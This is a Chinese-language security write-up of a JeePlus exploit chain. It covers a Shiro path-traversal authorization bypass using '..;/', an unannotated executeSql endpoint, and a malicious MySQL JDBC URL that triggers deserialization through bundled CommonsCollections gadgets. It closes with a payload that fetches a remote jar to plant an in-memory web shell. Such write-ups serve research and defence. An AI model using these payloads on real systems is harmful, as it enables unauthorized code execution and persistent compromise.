JeePlus某版本JDBC反序列化

首先在依赖中发现目标使用了shiro 1.4

已知下列请求不用鉴权

WEB-INF/classes/spring/spring-context-shiro.xml

image

在过滤器中,<url-pattern>/**</url-pattern>配置会匹配所有url(匹配当前文件夹下文件和子文件夹下文件),比如/api/aaa/api/aaa/aaaa/api/aaa/aaaa/aaaa.jsp等等。众所周知,../可以跨目录,所以这种情况下可以使用/api/../admin来跨一级访问admin页面,因为/api/../admin也属于/api/**的范围。

 

../被过滤或者有waf拦截时,URL中有一个保留字符分号(;),主要作为参数分隔符进行使用,对于request.getRequestURL()request.getRequestURI()来说,使用&连接的参数键值,对其来说是获取不到的,但是参数分隔符(;)及内容是可以获取到的,所以也可以使用..;/..;a/等等来绕过。

 

对于..;/的更多用法,可以看

https://xz.aliyun.com/t/10799

 

回到配置文件中,有关/**的配置可以用作权限绕过

 

在shiro中,@RequiresPermissions是用来分配用户角色权限的,接口会按照注解的值来决定哪个角色能访问当前请求

image

当包含有该注解配置了属性值时,即使利用了..;也会无法绕过,因为..;时shiro获取到的attribute是anon,与注解的属性不匹配:

image

所以要找没有RequiresPermissions注解的接口

 

经过查找,发现executeSql方法没有RequiresPermissions注解

executeSql方法中,sql语句会传进数据库进行执行

image

但是在传进执行前,sysDataSource对象会先被传进MultiDBUtils类的init方法进行初始化,以便后面的sql语句能够有引擎执行,init方法:

image

初始化完成后就将dataSource设置为jdbc引擎以供后方的sql执行使用

image

因为在executeSql方法中,SysDataSource对象是被当作参数来传进使用的

image

所以根据SysDataSource的各参数构造数据源即可利用

image

自带的mysql驱动刚好版本存在漏洞

image

利用链同样自带:

CbNOC、cc9、10、11

image

搭配权限绕过利用:

1
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&dbUserName=yso_CommonsCollections11_calc

image

打内存马思路

内存马打包成jar,放在开启web服务的服务器上,使用payload

1
yso_CommonsCollections11_remote-code-http://web/POC.jar#MemshellClass

其中http://web/POC.jar#MemshellClass可控,MemshellClass是内存马类名




声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.